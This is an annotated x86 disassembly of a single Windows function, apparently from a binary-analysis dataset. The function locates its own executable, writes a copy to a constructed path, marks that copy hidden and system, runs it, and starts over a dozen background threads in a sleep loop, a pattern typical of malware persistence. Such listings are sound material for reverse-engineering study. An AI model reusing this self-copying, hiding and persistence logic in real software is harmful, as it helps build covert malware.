Function at 0x405950
Capabilities:
Check if file exists
Create process on windows
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x17c
mov eax, dword [0x436064]
xor eax, esp
mov dword [esp + 0x178], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0
mov dword [esp + 0x20], edi
call fcn.0041db6e
add esp, 4
push eax
call fcn.0041d853
add esp, 4
push 0x104
lea eax, [esp + 0x7c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [0x439568], 0
jne 0x4059ae
call fcn.00401040
mov byte [0x439568], 1
mov ecx, dword [0x439598]
mov eax, dword [ecx + 0xa8]
push eax
lea eax, [esp + 0x7c]
call fcn.00402760
add esp, 4
test al, al
je 0x405cc4
push 0x433d34
call fcn.0041da13
mov esi, eax
add esp, 4
push 0x433a9c
mov eax, 0x10
mov dword [esp + 0x14], esi
call fcn.00401e00
mov dword [esp + 0x18], eax
lea eax, [esp + 0x7c]
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405a00
sub eax, edx
mov ebx, eax
cmp byte [0x439568], cl
jne 0x405a1f
call fcn.00401040
mov byte [0x439568], 1
mov edx, dword [0x439598]
mov eax, dword [edx + 0xac]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405a30
sub eax, edx
mov edi, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405a40
sub eax, edx
mov edx, eax
mov eax, dword [esp + 0x14]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405a52
sub eax, esi
add eax, edx
add eax, edi
lea eax, [eax + ebx + 8]
push eax
call fcn.0041ceb7
add esp, 4
cmp byte [0x439568], 0
mov edi, eax
mov dword [esp + 0x18], edi
jne 0x405a87
call fcn.00401040
mov byte [0x439568], 1
mov ecx, dword [0x439598]
mov edx, dword [ecx + 0xac]
push edx
lea eax, [esp + 0x7c]
push eax
push 0x433df8
push edi
call fcn.0041d6a1
push 0x43395c
push edi
call fcn.0041d831
add esp, 0x18
test eax, eax
jne 0x405adb
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x405ae4
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push ecx
push edx
push 0x4335d4
push edi
call fcn.0041d6a1
add esp, 0x10
jmp 0x405ae4
push eax
call fcn.0041dafa
add esp, 4
cmp byte [0x439568], 0
jne 0x405af9
call fcn.00401040
mov byte [0x439568], 1
mov ecx, dword [0x439598]
mov ecx, dword [ecx + 0xa8]
push 0
push edi
lea eax, [esp + 0x80]
call fcn.004029b0
add esp, 8
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x19000
call fcn.0041ceb7
mov ebx, eax
mov eax, 1
add esp, 4
mov byte [ebx], 0
mov dword [esp + 0x10], eax
cmp dword [0x4387b4], eax
jle 0x405c1f
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405b50
mov ecx, dword [esp + 0x10]
sub eax, edx
mov edx, eax
mov eax, dword [0x4387b8]
mov eax, dword [eax + ecx*4]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405b70
sub eax, esi
lea edx, [eax + edx + 2]
cmp edx, 0x19000
jae 0x405c1f
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405b90
mov ax, word [0x4337ec]
mov ecx, dword [0x4387b8]
mov edx, dword [esp + 0x10]
mov word [edi], ax
mov eax, dword [ecx + edx*4]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405bb0
sub eax, ecx
mov esi, ecx
lea edi, [ebx - 1]
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x405bc0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405be0
mov ax, word [0x4337ec]
mov word [edi], ax
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405bf4
mov eax, dword [esp + 0x10]
mov cx, word [0x433d28]
inc eax
mov word [edi], cx
mov edi, dword [esp + 0x18]
mov dword [esp + 0x10], eax
cmp eax, dword [0x4387b4]
jl 0x405b47
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405c24
sub eax, edx
mov esi, eax
mov eax, ebx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405c34
sub eax, ecx
lea edx, [eax + esi + 8]
push edx
call fcn.0041ceb7
add esp, 4
push ebx
push edi
mov esi, eax
push 0x433d3c
push esi
call fcn.0041d6a1
push 0x44
lea eax, [esp + 0x44]
push 0
push eax
call fcn.00423a10
add esp, 0x1c
xor eax, eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x34]
push edx
push eax
push eax
push 0x100
push eax
push eax
push eax
push esi
push eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push ebx
call fcn.0041d848
add esp, 4
push esi
call fcn.0041d848
mov eax, dword [esp + 0x18]
add esp, 4
push eax
call fcn.0041d848
add esp, 4
push edi
call fcn.0041d848
mov edi, dword [esp + 0x20]
add esp, 4
call fcn.00404cf0
call fcn.00404c00
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4057b0
push 0
push 0
call esi
cmp byte [0x43956a], 0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jne 0x405d01
push 0x32
call ebx
cmp byte [0x43956a], 0
je 0x405cf4
call fcn.00405390
push 0
push 0
push 0
push 0x405e10
push 0
push 0
call esi
call fcn.004039b0
push 0
push 0
push 0
push 0x404110
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403be0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403d10
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404430
push 0
push 0
call esi
call fcn.00405610
push 0
push 0
push 0
push 0x406040
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406380
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406c90
push 0
push 0
call esi
push 0
push 0
push edi
push 0x406db0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x407090
push 0
push 0
call esi
push 0
push 0
push edi
push 0x407880
push 0
push 0
call esi
push 0
push 0
push edi
push 0x4080f0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x4091b0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x409b90
push 0
push 0
call esi
push 0x493e0
call ebx
jmp 0x405df8